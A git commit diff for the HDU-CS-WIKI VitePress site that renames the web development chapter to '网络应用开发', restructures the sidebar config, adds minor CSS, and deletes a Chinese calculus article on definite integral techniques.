.../static/boxcnTNJhtqw6Km24fKgAnjZtBS.png | Bin .../static/boxcnUuqMoTjiOH9NSdYx4GCGme.png | Bin .../static/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg | Bin .../static/boxcnbigxAK5SbxiWuDHr1Ashne.png | Bin .../static/boxcncVQswB7ziUoV4LvEs35DAe.png | Bin .../static/boxcnikdFX5WNml7sgtPMOJQiGh.png | Bin .../static/boxcnorsQ6py7AU0LsCtn4f5LSd.png | Bin .../static/boxcnrqddPFusKhe0vZuzXJOosg.png | Bin ...3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif | Bin .../static/ertehry.png | Bin .../static/ertjyunyunm.png | Bin .../static/eryyjyuj.png | Bin .../static/ewttrhjy.png | Bin .../static/fdegetyjyrj.png | Bin .../static/fhuieufsiofhei.png | Bin .../static/gfhuewgfuiwe.png | Bin .../static/rtjyujyu.png | Bin .../static/uni-function-diagram.png | Bin .../static/wettrjryju.png | Bin 8.基础学科/8.2定积分.md | 116 ------------------ index.md | 2 +- 43 files changed, 39 insertions(+), 140 deletions(-) rename 7.Web开发入门/7.1.1基础部分.md => 7.网络应用开发/7.1.1.1基础部分.md (100%) rename 7.Web开发入门/7.1.2进阶部分.md => 7.网络应用开发/7.1.1.2进阶部分.md (100%) rename 7.Web开发入门/7.1.3附录1:前端介绍(详细版).md => 7.网络应用开发/7.1.1.3附录1:前端介绍(详细版).md (100%) rename 7.Web开发入门/7.1.4附录2:大前端开发.md => 7.网络应用开发/7.1.1.4附录2:大前端开发.md (100%) rename 7.Web开发入门/7.1.5附录3:跨端开发.md => 7.网络应用开发/7.1.1.5附录3:跨端开发.md (100%) rename 7.Web开发入门/7.1前端部分.md => 7.网络应用开发/7.1.1前端部分.md (100%) rename 7.Web开发入门/7.2.1基础部分.md => 7.网络应用开发/7.1.2.1基础部分.md (100%) rename 7.Web开发入门/7.2.2进阶部分.md => 7.网络应用开发/7.1.2.2进阶部分.md (100%) rename 7.Web开发入门/7.2后端部分.md => 7.网络应用开发/7.1.2后端部分.md (100%) rename 7.Web开发入门/7.Web开发入门.md => 7.网络应用开发/7.1WEB开发入门.md (96%) create mode 100644 7.网络应用开发/7.网络应用开发入门.md rename {7.Web开发入门 => 7.网络应用开发}/static/20191118BrYZzg.jpg (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/20191118PGkkRz.jpg (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/20191118aoefIO.jpg (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/235436487dsfhtwuytjyfj.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/3465ytyjyjy.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/Snipaste_2023-04-22_18-57-44.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/boxcnFZwQVTUWkfsbNxYfJkgPDg.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/boxcnJ13CDzxp9lwEtGivTuJ4nh.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/boxcnRaBolh8i2FkoIJW69a5g3e.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/boxcnTNJhtqw6Km24fKgAnjZtBS.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/boxcnUuqMoTjiOH9NSdYx4GCGme.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/boxcnbigxAK5SbxiWuDHr1Ashne.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/boxcncVQswB7ziUoV4LvEs35DAe.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/boxcnikdFX5WNml7sgtPMOJQiGh.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/boxcnorsQ6py7AU0LsCtn4f5LSd.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/boxcnrqddPFusKhe0vZuzXJOosg.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/df77f01037fc4ceb8d4aa8f06168fc95~tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/ertehry.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/ertjyunyunm.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/eryyjyuj.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/ewttrhjy.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/fdegetyjyrj.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/fhuieufsiofhei.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/gfhuewgfuiwe.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/rtjyujyu.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/uni-function-diagram.png (100%) rename {7.Web开发入门 => 7.网络应用开发}/static/wettrjryju.png (100%) delete mode 100644 8.基础学科/8.2定积分.md diff --git a/.vitepress/config.js b/.vitepress/config.js index 0e5905c..7715f08 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -98,7 +98,7 @@ export default defineConfig({ title: "HDU-CS-WIKI", description: "HDU计算机科学讲义", lastUpdated: true, - head: [['script', { async: "async", src: 'https://umami.hdu-cs.wiki/script.js', "data-website-id": "3f11687a-faae-463a-b863-6127a8c28301", "data-domains":"wiki.xyxsw.site,hdu-cs.wiki" }]], + head: [['script', { async: "async", src: 'https://umami.hdu-cs.wiki/script.js', "data-website-id": "3f11687a-faae-463a-b863-6127a8c28301", "data-domains": "wiki.xyxsw.site,hdu-cs.wiki" }]], themeConfig: { // https://vitepress.dev/reference/default-theme-config nav: [ @@ -601,31 +601,38 @@ export default defineConfig({ ] }, { - text: '7.Web开发入门', + text: '7.网络应用开发', collapsed: true, items: [ - { text: '7.Web开发入门', link: '/7.Web开发入门/7.Web开发入门' }, + { text: '7.网络应用开发入门', link: '/7.网络应用开发/7.网络应用开发入门' }, { - text: '7.1前端部分', + text: '7.1WEB开发入门', collapsed: true, items: [ - { text: '7.1前端部分', link: '/7.Web开发入门/7.1前端部分' }, - { text: '7.1.1基础部分', link: '/7.Web开发入门/7.1.1基础部分' }, - { text: '7.1.2进阶部分', link: '/7.Web开发入门/7.1.2进阶部分' }, - { text: '7.1.3附录1:前端介绍(详细版)', link: '/7.Web开发入门/7.1.3附录1:前端介绍(详细版)' }, - { text: '7.1.4附录2:大前端开发', link: '/7.Web开发入门/7.1.4附录2:大前端开发' }, - { text: '7.1.5附录3:跨端开发', link: '/7.Web开发入门/7.1.5附录3:跨端开发' }, + { text: '7.1WEB开发入门', link: '/7.网络应用开发/7.1WEB开发入门' }, + { + text: '7.1.1前端部分', + collapsed: true, + items: [ + { text: '7.1.1前端部分', link: '/7.网络应用开发/7.1.1前端部分' }, + { text: '7.1.1.1基础部分', link: '/7.网络应用开发/7.1.1.1基础部分' }, + { text: '7.1.1.2进阶部分', link: '/7.网络应用开发/7.1.1.2进阶部分' }, + { text: '7.1.1.3附录1:前端介绍(详细版)', link: '/7.网络应用开发/7.1.1.3附录1:前端介绍(详细版)' }, + { text: '7.1.1.4附录2:大前端开发', link: '/7.网络应用开发/7.1.1.4附录2:大前端开发' }, + { text: '7.1.1.5附录3:跨端开发', link: '/7.网络应用开发/7.1.1.5附录3:跨端开发' }, + ] + }, + { + text: '7.1.2后端部分', + collapsed: true, + items: [ + { text: '7.1.2后端部分', link: '/7.网络应用开发/7.1.2后端部分' }, + { text: '7.1.2.1基础部分', link: '/7.网络应用开发/7.1.2.1基础部分' }, + { text: '7.1.2.2进阶部分', link: '/7.网络应用开发/7.1.2.2进阶部分' }, + ] + }, ] }, - { - text: '7.2后端部分', - collapsed: true, - items: [ - { text: '7.2后端部分', link: '/7.Web开发入门/7.2后端部分' }, - { text: '7.2.1基础部分', link: '/7.Web开发入门/7.2.1基础部分' }, - { text: '7.2.2进阶部分', link: '/7.Web开发入门/7.2.2进阶部分' }, - ] - } ] }, { @@ -634,7 +641,6 @@ export default defineConfig({ items: [ { text: '8.基础学科', link: '/8.基础学科/8.基础学科' }, { text: '8.1经济学科普Part1', link: '/8.基础学科/8.1经济学科普Part1' }, - { text: '8.2定积分', link: '/8.基础学科/8.2定积分' }, ] }, { diff --git a/.vitepress/theme/style.css b/.vitepress/theme/style.css index 964d06a..a19b5e8 100644 --- a/.vitepress/theme/style.css +++ b/.vitepress/theme/style.css @@ -179,4 +179,10 @@ mjx-container { .jp-RenderedHTMLCommon :not(pre) > code { background-color: var(--vp-c-mute) !important; +} + +.VPImage { + user-drag: none !important; + -webkit-user-drag: none !important; + -moz-user-drag: none !important; } \ No newline at end of file diff --git a/7.Web开发入门/7.1.1基础部分.md b/7.网络应用开发/7.1.1.1基础部分.md similarity index 100% rename from 7.Web开发入门/7.1.1基础部分.md rename to 7.网络应用开发/7.1.1.1基础部分.md diff --git a/7.Web开发入门/7.1.2进阶部分.md b/7.网络应用开发/7.1.1.2进阶部分.md similarity index 100% rename from 7.Web开发入门/7.1.2进阶部分.md rename to 7.网络应用开发/7.1.1.2进阶部分.md diff --git a/7.Web开发入门/7.1.3附录1:前端介绍(详细版).md b/7.网络应用开发/7.1.1.3附录1:前端介绍(详细版).md similarity index 100% rename from 7.Web开发入门/7.1.3附录1:前端介绍(详细版).md rename to 7.网络应用开发/7.1.1.3附录1:前端介绍(详细版).md diff --git a/7.Web开发入门/7.1.4附录2:大前端开发.md b/7.网络应用开发/7.1.1.4附录2:大前端开发.md similarity index 100% rename from 7.Web开发入门/7.1.4附录2:大前端开发.md rename to 7.网络应用开发/7.1.1.4附录2:大前端开发.md diff --git a/7.Web开发入门/7.1.5附录3:跨端开发.md b/7.网络应用开发/7.1.1.5附录3:跨端开发.md similarity index 100% rename from 7.Web开发入门/7.1.5附录3:跨端开发.md rename to 7.网络应用开发/7.1.1.5附录3:跨端开发.md diff --git a/7.Web开发入门/7.1前端部分.md b/7.网络应用开发/7.1.1前端部分.md similarity index 100% rename from 7.Web开发入门/7.1前端部分.md rename to 7.网络应用开发/7.1.1前端部分.md diff --git a/7.Web开发入门/7.2.1基础部分.md b/7.网络应用开发/7.1.2.1基础部分.md similarity index 100% rename from 7.Web开发入门/7.2.1基础部分.md rename to 7.网络应用开发/7.1.2.1基础部分.md diff --git a/7.Web开发入门/7.2.2进阶部分.md b/7.网络应用开发/7.1.2.2进阶部分.md similarity index 100% rename from 7.Web开发入门/7.2.2进阶部分.md rename to 7.网络应用开发/7.1.2.2进阶部分.md diff --git a/7.Web开发入门/7.2后端部分.md b/7.网络应用开发/7.1.2后端部分.md similarity index 100% rename from 7.Web开发入门/7.2后端部分.md rename to 7.网络应用开发/7.1.2后端部分.md diff --git a/7.Web开发入门/7.Web开发入门.md b/7.网络应用开发/7.1WEB开发入门.md similarity index 96% rename from 7.Web开发入门/7.Web开发入门.md rename to 7.网络应用开发/7.1WEB开发入门.md index 8b48d0a..e675321 100644 --- a/7.Web开发入门/7.Web开发入门.md +++ b/7.网络应用开发/7.1WEB开发入门.md @@ -1,4 +1,4 @@ -# 7.Web 开发入门 +# 7.网络应用开发入门 > 作者:aFlyBird0 @@ -70,7 +70,7 @@ 我们这里就来个极简版吧: -1. 最终形态是网站(用户访问 [http://message.srt.com](http://message.srt.com) 就能参与留言)。 +1. 最终形态是网站(用户访问 [https://message.hdu-cs.wiki](https://message.hdu-cs.wiki) 就能参与留言,这个网站是虚构的 不存在哦~)。 2. 留言的时候需要填写昵称(不需要注册)、留言内容(只支持纯文字)。 #### 2.3.2 前端 @@ -136,7 +136,7 @@ A:理论上可以。但一般不会这么做(除了一些实时的网络聊 1. 测试 2. 如果程序出现了 bug,调试程序 -3. 没问题之后需要把写好的后端部署到服务器上。即放到一个互联网公网能访问的地方,给出前端地址(也就是 [http://message.srt.com](http://message.srt.com))同时后端也要运行起来,处理后台逻辑。 +3. 没问题之后需要把写好的后端部署到服务器上。即放到一个互联网公网能访问的地方,给出前端地址(也就是 [https://message.hdu-cs.wiki](https://message.hdu-cs.wiki))同时后端也要运行起来,处理后台逻辑。 4. 写项目文档,防止后面接手的人看不懂你写的项目(甚至不写文档可能过几天你自己都看不懂了) 5. 持续维护项目(修复 bug,开发新功能) diff --git a/7.网络应用开发/7.网络应用开发入门.md b/7.网络应用开发/7.网络应用开发入门.md new file mode 100644 index 0000000..b4618e7 --- /dev/null +++ b/7.网络应用开发/7.网络应用开发入门.md @@ -0,0 +1,3 @@ +# 7.网络应用开发入门 + +本章节原本的名字是「WEB开发入门」,后来发现这个标题涵盖的范围还是小了点。因为网络应用开发不仅仅涉及到前端的网页设计和开发、后端数据库操作等方面,还包括云原生的应用部署和管理等等一系列相关知识。因此,我们拓展了这一章节的内容,以便读者可以全面了解网络应用开发的各个方面。 \ No newline at end of file diff --git a/7.Web开发入门/static/20191118BrYZzg.jpg b/7.网络应用开发/static/20191118BrYZzg.jpg similarity index 100% rename from 7.Web开发入门/static/20191118BrYZzg.jpg rename to 7.网络应用开发/static/20191118BrYZzg.jpg diff --git a/7.Web开发入门/static/20191118PGkkRz.jpg b/7.网络应用开发/static/20191118PGkkRz.jpg similarity index 100% rename from 7.Web开发入门/static/20191118PGkkRz.jpg rename to 7.网络应用开发/static/20191118PGkkRz.jpg diff --git a/7.Web开发入门/static/20191118aoefIO.jpg b/7.网络应用开发/static/20191118aoefIO.jpg similarity index 100% rename from 7.Web开发入门/static/20191118aoefIO.jpg rename to 7.网络应用开发/static/20191118aoefIO.jpg diff --git a/7.Web开发入门/static/235436487dsfhtwuytjyfj.png b/7.网络应用开发/static/235436487dsfhtwuytjyfj.png similarity index 100% rename from 7.Web开发入门/static/235436487dsfhtwuytjyfj.png rename to 7.网络应用开发/static/235436487dsfhtwuytjyfj.png diff --git a/7.Web开发入门/static/3465ytyjyjy.png b/7.网络应用开发/static/3465ytyjyjy.png similarity index 100% rename from 7.Web开发入门/static/3465ytyjyjy.png rename to 7.网络应用开发/static/3465ytyjyjy.png diff --git a/7.Web开发入门/static/Snipaste_2023-04-22_18-57-44.png b/7.网络应用开发/static/Snipaste_2023-04-22_18-57-44.png similarity index 100% rename from 7.Web开发入门/static/Snipaste_2023-04-22_18-57-44.png rename to 7.网络应用开发/static/Snipaste_2023-04-22_18-57-44.png diff --git a/7.Web开发入门/static/boxcnFZwQVTUWkfsbNxYfJkgPDg.png b/7.网络应用开发/static/boxcnFZwQVTUWkfsbNxYfJkgPDg.png similarity index 100% rename from 7.Web开发入门/static/boxcnFZwQVTUWkfsbNxYfJkgPDg.png rename to 7.网络应用开发/static/boxcnFZwQVTUWkfsbNxYfJkgPDg.png diff --git a/7.Web开发入门/static/boxcnJ13CDzxp9lwEtGivTuJ4nh.png b/7.网络应用开发/static/boxcnJ13CDzxp9lwEtGivTuJ4nh.png similarity index 100% rename from 7.Web开发入门/static/boxcnJ13CDzxp9lwEtGivTuJ4nh.png rename to 7.网络应用开发/static/boxcnJ13CDzxp9lwEtGivTuJ4nh.png diff --git a/7.Web开发入门/static/boxcnRaBolh8i2FkoIJW69a5g3e.png b/7.网络应用开发/static/boxcnRaBolh8i2FkoIJW69a5g3e.png similarity index 100% rename from 7.Web开发入门/static/boxcnRaBolh8i2FkoIJW69a5g3e.png rename to 7.网络应用开发/static/boxcnRaBolh8i2FkoIJW69a5g3e.png diff --git a/7.Web开发入门/static/boxcnTNJhtqw6Km24fKgAnjZtBS.png b/7.网络应用开发/static/boxcnTNJhtqw6Km24fKgAnjZtBS.png similarity index 100% rename from 7.Web开发入门/static/boxcnTNJhtqw6Km24fKgAnjZtBS.png rename to 7.网络应用开发/static/boxcnTNJhtqw6Km24fKgAnjZtBS.png diff --git a/7.Web开发入门/static/boxcnUuqMoTjiOH9NSdYx4GCGme.png b/7.网络应用开发/static/boxcnUuqMoTjiOH9NSdYx4GCGme.png similarity index 100% rename from 7.Web开发入门/static/boxcnUuqMoTjiOH9NSdYx4GCGme.png rename to 7.网络应用开发/static/boxcnUuqMoTjiOH9NSdYx4GCGme.png diff --git a/7.Web开发入门/static/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg b/7.网络应用开发/static/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg similarity index 100% rename from 7.Web开发入门/static/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg rename to 7.网络应用开发/static/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg diff --git a/7.Web开发入门/static/boxcnbigxAK5SbxiWuDHr1Ashne.png b/7.网络应用开发/static/boxcnbigxAK5SbxiWuDHr1Ashne.png similarity index 100% rename from 7.Web开发入门/static/boxcnbigxAK5SbxiWuDHr1Ashne.png rename to 7.网络应用开发/static/boxcnbigxAK5SbxiWuDHr1Ashne.png diff --git a/7.Web开发入门/static/boxcncVQswB7ziUoV4LvEs35DAe.png b/7.网络应用开发/static/boxcncVQswB7ziUoV4LvEs35DAe.png similarity index 100% rename from 7.Web开发入门/static/boxcncVQswB7ziUoV4LvEs35DAe.png rename to 7.网络应用开发/static/boxcncVQswB7ziUoV4LvEs35DAe.png diff --git a/7.Web开发入门/static/boxcnikdFX5WNml7sgtPMOJQiGh.png b/7.网络应用开发/static/boxcnikdFX5WNml7sgtPMOJQiGh.png similarity index 100% rename from 7.Web开发入门/static/boxcnikdFX5WNml7sgtPMOJQiGh.png rename to 7.网络应用开发/static/boxcnikdFX5WNml7sgtPMOJQiGh.png diff --git a/7.Web开发入门/static/boxcnorsQ6py7AU0LsCtn4f5LSd.png b/7.网络应用开发/static/boxcnorsQ6py7AU0LsCtn4f5LSd.png similarity index 100% rename from 7.Web开发入门/static/boxcnorsQ6py7AU0LsCtn4f5LSd.png rename to 7.网络应用开发/static/boxcnorsQ6py7AU0LsCtn4f5LSd.png diff --git a/7.Web开发入门/static/boxcnrqddPFusKhe0vZuzXJOosg.png b/7.网络应用开发/static/boxcnrqddPFusKhe0vZuzXJOosg.png similarity index 100% rename from 7.Web开发入门/static/boxcnrqddPFusKhe0vZuzXJOosg.png rename to 7.网络应用开发/static/boxcnrqddPFusKhe0vZuzXJOosg.png diff --git a/7.Web开发入门/static/df77f01037fc4ceb8d4aa8f06168fc95~tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif b/7.网络应用开发/static/df77f01037fc4ceb8d4aa8f06168fc95~tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif similarity index 100% rename from 7.Web开发入门/static/df77f01037fc4ceb8d4aa8f06168fc95~tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif rename to 7.网络应用开发/static/df77f01037fc4ceb8d4aa8f06168fc95~tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif diff --git a/7.Web开发入门/static/ertehry.png b/7.网络应用开发/static/ertehry.png similarity index 100% rename from 7.Web开发入门/static/ertehry.png rename to 7.网络应用开发/static/ertehry.png diff --git a/7.Web开发入门/static/ertjyunyunm.png b/7.网络应用开发/static/ertjyunyunm.png similarity index 100% rename from 7.Web开发入门/static/ertjyunyunm.png rename to 7.网络应用开发/static/ertjyunyunm.png diff --git a/7.Web开发入门/static/eryyjyuj.png b/7.网络应用开发/static/eryyjyuj.png similarity index 100% rename from 7.Web开发入门/static/eryyjyuj.png rename to 7.网络应用开发/static/eryyjyuj.png diff --git a/7.Web开发入门/static/ewttrhjy.png b/7.网络应用开发/static/ewttrhjy.png similarity index 100% rename from 7.Web开发入门/static/ewttrhjy.png rename to 7.网络应用开发/static/ewttrhjy.png diff --git a/7.Web开发入门/static/fdegetyjyrj.png b/7.网络应用开发/static/fdegetyjyrj.png similarity index 100% rename from 7.Web开发入门/static/fdegetyjyrj.png rename to 7.网络应用开发/static/fdegetyjyrj.png diff --git a/7.Web开发入门/static/fhuieufsiofhei.png b/7.网络应用开发/static/fhuieufsiofhei.png similarity index 100% rename from 7.Web开发入门/static/fhuieufsiofhei.png rename to 7.网络应用开发/static/fhuieufsiofhei.png diff --git a/7.Web开发入门/static/gfhuewgfuiwe.png b/7.网络应用开发/static/gfhuewgfuiwe.png similarity index 100% rename from 7.Web开发入门/static/gfhuewgfuiwe.png rename to 7.网络应用开发/static/gfhuewgfuiwe.png diff --git a/7.Web开发入门/static/rtjyujyu.png b/7.网络应用开发/static/rtjyujyu.png similarity index 100% rename from 7.Web开发入门/static/rtjyujyu.png rename to 7.网络应用开发/static/rtjyujyu.png diff --git a/7.Web开发入门/static/uni-function-diagram.png b/7.网络应用开发/static/uni-function-diagram.png similarity index 100% rename from 7.Web开发入门/static/uni-function-diagram.png rename to 7.网络应用开发/static/uni-function-diagram.png diff --git a/7.Web开发入门/static/wettrjryju.png b/7.网络应用开发/static/wettrjryju.png similarity index 100% rename from 7.Web开发入门/static/wettrjryju.png rename to 7.网络应用开发/static/wettrjryju.png diff --git a/8.基础学科/8.2定积分.md b/8.基础学科/8.2定积分.md deleted file mode 100644 index 5c778bc..0000000 --- a/8.基础学科/8.2定积分.md +++ /dev/null @@ -1,116 +0,0 @@ -本文主要讲解定积分在计算时运用的各种化简技巧。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/lake_card_mindmap.png) - -# 一:由不定积分计算定积分 - - -## 1.1原函数成立区间的问题 - -注意:由不定积分推导出的原函数在定积分的区间不一定成立!!!
对于大多数定积分题目,可直接由代入不定积分的结论。 - - -# 二:利用对称性化简定积分 - - -## 2.1奇偶对称和周期性 - -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/picture1.png) -
-命题1:设函数f在区间$[0,a]$可积,且关于区间中点$\frac{a}{2}$为奇函数,即对于$x\in[0,a]$,有$f(x)=-f(a-x)$,则成立
$\int_0^af(x)dx=0$。
命题2:设函数f在区间$[0,a]$可积,且关于区间中点$\frac{a}{2}$为偶函数,即对于$x\in[0,a]$,有$f(x)=f(a-x)$, 则成立
$\int_0^af(x)dx=2\int_0^{\frac{a}{2}}f(x)dx$。
命题3:若函数f为定义在$-\infty$\int_a^{a+T}f(x)dx=\int_0^Tf(x)dx$
**_Proof:_**
将积分区间拆成多段,带入上文对称公式,之后换元即可,证明的本质是统一了积分区间。
_**Example:**
$\int_0^{2\pi}\frac{dx}{sin^4x+cos^4x}$ - -利用:$sin^4x+cos^4x=(sin^2x+cos^2x)^2-2sin^2xcos^2x=1-\frac{1}{2}sin^2(2x)=\frac{1}{2}(1+cos^2(2x))$,周期为$\pi/2$
两次利用命题3,将积分区间化简为$[0,\frac{\pi}{2}]$。由于被积函数关于$\pi/4$偶对称,利用命题2,可将积分区间化简为$[0,\frac{\pi}{4}]$,故原式等于:
$4\int_0^{\frac{\pi}{2}}\frac{dx}{sin^4x+cos^4x}=8\int_0^{\frac{\pi}{4}}\frac{dx}{sin^4x+cos^4x}=16\int_0^{\frac{\pi}{4}}\frac{dx}{1+cos^2(2x)}=8\int_0^{\frac{\pi}{2}}\frac{dt}{1+cos^2(t)}=8\int_0^{\frac{\pi}{2}}\frac{d(tant)}{2+tan^2t}$
$=8\int_{0}^{+\infty}\frac{du}{u^2+2}=4\sqrt{2}arctan(\frac{u}{\sqrt{2}})|_0^{+\infty}=2\sqrt{2}\pi$_ - -## 2.2积分区间的缩小 - -命题4:设f在$[0,a]$上可积,则成立$\int_0^af(x)dx=\int_0^{\frac{a}{2}}[f(x)+f(a-x)]dx$,此为命题1,2的推广形式。
可推广为:$\int_a^bf(x)dx=\int_a^{\frac{a+b}{2}}[f(x)+f(a+b-x)]dx$,该命题在$f(x)+f(a+b-x)$更好积分时使用。
**_Proof:_
反向利用命题2,$\int_0^af(x)dx=\frac{1}{2}(\int_0^af(x)dx+\int_0^af(a-x)dx)=\int_0^{\frac{a}{2}}[f(x)+f(a-x)]dx$
命题5:若f(x)在闭区间$[0,1]$上连续,则
(a)$\int_0^{\frac{\pi}{2}}f(sinx)dx=\int_0^{\frac{\pi}{2}}f(cosx)dx$
(b)$\int_0^{\pi}xf(sinx)dx=\frac{\pi}{2}\int_0^{\pi}f(sinx)dx$
(c)$\int_0^{\pi}f(sinx)dx=2\int_0^{\frac{\pi}{2}}f(sinx)dx$
**_Proof:_**
(a)$x=\pi/2-t$,(b)$x=\pi-t$,(c)$t=x-\pi/2$
也可由命题4直接推出,如对于(b)
$\int_0^{\pi}(x-\pi/2)f(sinx)dx=\int_0^{\frac{\pi}{2}}(x-\pi/2+\pi-x-\pi/2)f(sinx)dx=0$
_**Example1:**_
(a)$\int_0^{\pi/2}\frac{sinx}{sinx+cosx}dx$    (b)$\int_0^{\pi/2}ln(sinx)dx$    (c)$\int_0^{\pi/2}ln(tanx)dx$
(d)$\int_0^{\pi/2}\frac{1}{1+tan^ax}dx$       (e)$\int_0^{\pi}\frac{xsinx}{1+cos^2x}dx$    (f)$\int_0^1\frac{lnx}{\sqrt{1-x^2}}dx$
例如,对于b,利用命题4,$\int_0^{\frac{\pi}{4}}[ln(sin(x))+ln(cos(x))]dx=\int_0^{\frac{\pi}{4}}[ln(sin(2x)/2]dx$
$=\int_0^{\frac{\pi}{4}}[ln(sin(2x))-ln(2)]dx=\frac{1}{2}\int_0^{\frac{\pi}{2}}ln(sin(x))dx-\frac{\pi}{4}ln2=-\frac{\pi}{2}ln2$
_**Example2:**_
设$f(x)$在$[a,b]$上连续且单调增加,证明:$\int_a^bxf(x)dx\geq\frac{a+b}{2}\int_a^bf(x)dx$
$\int_a^b(x-\frac{a+b}{2})f(x)dx=\int_a^{\frac{a+b}{2}}[(x-\frac{a+b}{2})f(x)+(a+b-x-\frac{a+b}{2})f(a+b-x)]dx$
$=\int_a^{\frac{a+b}{2}}(x-\frac{a+b}{2})[f(x)-f(a+b-x)]dx$
因为$f(x)$单增,所以$f(x)-f(a+b-x)\leq0$,原式大于等于0,证毕。 - -# 三:利用递归表达式化简定积分 - -注意:全部利用分部积分构造递推表达式,使得分部积分脱出积分号的项为0,对积分内指数进行降阶即可。 - -## 3.1高阶三角函数 -$I_0=\int_0^{\pi/2}dx=\pi/2$,$I_1=\int_0^{\pi/2}sinxdx=1$,$I_2=\int_0^{\pi/2}sin^2xdx=\pi/4$
思考:如果$I_n$为一数列$I_n=\int_0^{\pi/2}sin^nxdx$,请问
(1)$I_n$的递推表达式为?
(2)$I_n$的通项表达式为?
(3)$I_n(n\to\infty)$的极限为?
(4)求$\lim_{k\to\infty}\frac{I_{2k+1}}{I_{2k}}$?
答案:
(1),(2)
-![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/picture2.png) - -推论:由命题4得,对cosx做上述操作得到结果相同。
(3)$I_n(n\to\infty)$的极限为0,如图为$sin^n(x)在[0,1]$的函数图像,因为$sin^n(x)![save.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564801370246-b0067524-94bb-4de3-9d1d-fde22a35d9bf.png#align=left&display=inline&height=158&name=save.png&originHeight=400&originWidth=650&size=32867&status=done&style=none&width=256)
证明:
法一:积分的有界性
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564497996832-07ba349b-e630-4e23-a0ae-781051191e00.png#align=left&display=inline&height=165&name=image.png&originHeight=295&originWidth=596&size=39253&status=done&style=none&width=333)
这里第二项趋于0是因为$sin^n(x)\to0$,从图中也可以观察出来。
法二:
$if\ n=2k$
$I_{2k}=\frac{(2k-1)!!}{(2k)!!}=\frac{(2k-1)\cdot(2k-3)\cdot\cdot\cdot5\cdot3\cdot1}{(2k)(2k-2)\cdot\cdot\cdot6\cdot4\cdot2}\cdot\frac{\pi}{2}$
$0$\therefore I_{2k}\to0$
$\therefore I_{2k+1}=\int_0^{\pi/2}sinx\cdot sin^{2k}xdx=sinx_0\cdot\int_0^{\pi/2}sin^{2k}xdx\to0$
$\therefore I_{n}\to0$
(4)
![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564147108664-81bb7241-200a-4d44-bc2c-d054f460cf32.png#align=left&display=inline&height=87&name=image.png&originHeight=202&originWidth=1071&size=42020&status=done&style=none&width=462)
维基百科:[沃利斯乘积](https://zh.wikipedia.org/wiki/%E6%B2%83%E5%88%A9%E6%96%AF%E4%B9%98%E7%A7%AF)
3B1B:[沃利斯乘积的几何解释](https://www.bilibili.com/video/av22808876/) - -## 3.2组合三角函数 -注意:此类题一律用分部积分画出和原被积函数相关的表达式,但不一定是相等,以实现得到递推关系降阶的目的。
_**Example:**_
求 $L_n=\int_0^{\pi/2}cos^n(x)cos(nx)dx$ 的递归表达式和通项
$=\frac{1}{n}\int_0^{\pi/2}cos^n(x)dsin(nx)=\frac{1}{n}(cos^n(x)sin(nx)|_0^{\pi/2}-\frac{1}{n}\int_0^{\pi/2}nsin(nx)cos^{n-1}(x)(-sin(x))dx$
$=\int_0^{\pi/2}cos^{n-1}(x)sin(nx)sin(x)dx$
$2L_n=\int_0^{\pi/2}[cos^{n-1}(x)sin(nx)sin(x)+cos^n(x)cos(nx)]dx=\int_0^{\pi/2}cos^{n-1}(x)(cos(nx)cos(x)+sin(nx)sin(x))dx$$=\int_0^{\pi/2}cos^{n-1}(x)cos((n-1)x)dx=L_{n-1}$
所以   $L_n=\frac{1}{2}L_{n-1}$   而$L_1=\int_0^{\pi/2}cos(x)cos(x)dx=\pi/4$
所以数列的通项表达式为:$L_n=\frac{\pi}{2^{n+1}}$ - -## 3.3其他函数 -_**Example:**_
求 $I_n=\int_0^1x^m(ln(x))^ndx$ 的递推表达式和通项。 - -![image.png](https://cdn.nlark.com/yuque/0/2019/png/422826/1564241319233-796ecfee-2ddd-4667-80f4-b73cd125e934.png#align=left&display=inline&height=169&name=image.png&originHeight=295&originWidth=513&size=22668&status=done&style=none&width=294)
_**Exercise:**_
